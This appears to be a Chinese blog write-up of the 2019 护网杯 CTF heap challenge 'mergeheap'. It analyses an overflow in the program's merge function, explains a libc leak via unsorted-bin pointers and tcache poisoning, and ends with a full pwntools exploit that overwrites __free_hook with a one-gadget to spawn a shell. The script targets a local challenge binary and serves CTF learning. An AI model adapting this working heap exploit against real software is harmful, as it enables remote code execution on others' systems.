zoukankan      html  css  js  c++  java
  • 护网杯2019 mergeheap --pwn

    护网 又是签到 一天

    这道题一开始 不懂得如何泄露 libc 信息,就蒙了  后来群里师傅也是刚刚好 做出 到这里 我就接着做了 。

    先看下保护,发现  全开了 

    然后 就看下流程 

     大概 就是添加  chunk  show  合并两个chunk 

     可利用的 洞就是

    int merge()
    {
      int v1; // ST1C_4
      signed int i; // [rsp+8h] [rbp-18h]
      int index1; // [rsp+Ch] [rbp-14h]
      int index2; // [rsp+10h] [rbp-10h]
    
      for ( i = 0; i <= 14 && ptr_array[i]; ++i )
        ;
      if ( i > 14 )
        return puts("full");
      printf("idx1:");
      index1 = sub_B8B();
      if ( index1 < 0 || index1 > 14 || !ptr_array[index1] )
        return puts("invalid");
      printf("idx2:");
      index2 = sub_B8B();
      if ( index2 < 0 || index2 > 14 || !ptr_array[index2] )
        return puts("invalid");
      v1 = size_array[index1] + size_array[index2];
      ptr_array[i] = malloc(v1);
      strcpy((char *)ptr_array[i], (const char *)ptr_array[index1]);
      strcat((char *)ptr_array[i], (const char *)ptr_array[index2]);
      size_array[i] = v1;
      return puts("Done");
    }

    前面的strcpy和strcat的时候只有遇到0才停止复制 所以在merge 的时候 会有可能 把下一chunk的size 复制过来 然后溢出修改了 下一个chunk的 size

    所以可以利用这点去 溢出,然后构建好payload ,然后 merge  再 free 再malloc的时候写到 一个unsortbin的pre_size 和 size 这样 在show的时候就是连带着unsortbin的fd输出了

     我看 了另一个师傅的 wp 

    也发现了 另一种 泄露的 方面  那个简单 而且不麻烦 

     这个 就是  填满了 tcache 再分配了 一个unsortbin的 chunk 然后free  就是在fd 和bk上写入了main_arena 的上地址,然后  再mallo回来的时候 把前面的 fd写满 就能 泄露了

    剩下就的 获取任意写的能力了 那 其实也是跟第一种 leak 的方法一样的  操作

    就是 在 merge 分配到的 chunk下面有 tacahe中的 bin  ,但是要在tacache中要有两个 这样可以形成链式,然后就可以修改前面的size 在free 再malloc  在malloc的时候  修改fd的内容 这样就能任意地址malloc了  再malloc 到 malloc_hook  或者  free_hook 就样就能getshell了

     

     修改之后

     malloc 一次

     这下再malloc 就ok了 

    下面贴出 exp

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    #from pwnpwnpwn import *
    from pwn import *
    context.log_level = 'debug'
    host = "127.0.0.1"
    port = 8888
    
    r = remote(host,port)
    e = ELF('./mergeheap')
    libc = ELF('./libc-2.27.so')
    def add(size, content):
        r.recvuntil(">>")
        r.sendline(str(1))
        r.recvuntil("len:")
        r.sendline(str(size))
        r.recvuntil("content:")
        r.sendline(content)
    
    def dele(idx):
        r.recvuntil(">>")
        r.sendline(str(3))
        r.recvuntil("idx:")
        r.sendline(str(idx))
    
    def show(idx):
        r.recvuntil(">>")
        r.sendline(str(2))
        r.recvuntil("idx:")
        r.sendline(str(idx))
    
    def merge(idx1, idx2):
        r.recvuntil(">>")
        r.sendline(str(4))
        r.recvuntil("idx1:")
        r.sendline(str(idx1))
        r.recvuntil("idx2:")
        r.sendline(str(idx2))
    
    puts_got = e.got['puts']
    log.info('puts_got:0x%x'%puts_got)
    add(0x30, 'a'*0x30)  #0
    add(0x38, 'b'*0x38)  #1
    add(0x100,'C'*0x10)   #2
    add(0x400, 'c'*0x10) #3
    add(0x200, 'd'*0x10) #4
    add(0x68, 'e'*0x68)  #5
    add(0x20,'')#6
    add(0x20,'')#7
    add(0x20,'')#8
    add(0x20,'')#9
    dele(7)
    dele(8)
    merge(3,4)
    add(0xa8,'B'*0x68)
    dele(7)
    dele(5)
    merge(0,1)
    add(0x30,'a'*0x10)
    dele(6)
    add(0x100,'a'*0xff+'Q')
    show(6)
    r.recvuntil("Q")
    leak = u64(r.recvuntil("
    ",drop = True).ljust(8,'x00'))
    libc_addr = leak -0x3ebca0
    log.info('libc: 0x%x'%libc_addr)
    dele(6)
    target = libc_addr + libc.symbols['__free_hook']-0x13
    onegae = libc_addr + 0x4f322
    log.info('onegae: 0x%x'%onegae)
    add(0x100,'a'*0x60+p64(target)+p64(0))
    add(0x20,'')
    add(0x20,'a'*0x13+p64(onegae))
    dele(0)
    r.interactive()
  • 相关阅读:
    【转】三层架构,MVC, ASP.net MVC的区别
    code-Behind
    从输入 URL 到页面加载完成的过程中都发生了什么事情?
    javascript杂谈
    网页设计中透明效果的使用技巧
    phpstorm+Xdebug断点调试PHP
    MySql IFNULL 联表查询出来的null 如何赋值
    php读取目录下的文件
    CI框架程序--本地调试之后部署新浪SAE
    各个手机APP客户端内置浏览器useragent
  • 原文地址:https://www.cnblogs.com/liyuechan/p/11489077.html
Copyright © 2011-2022 走看看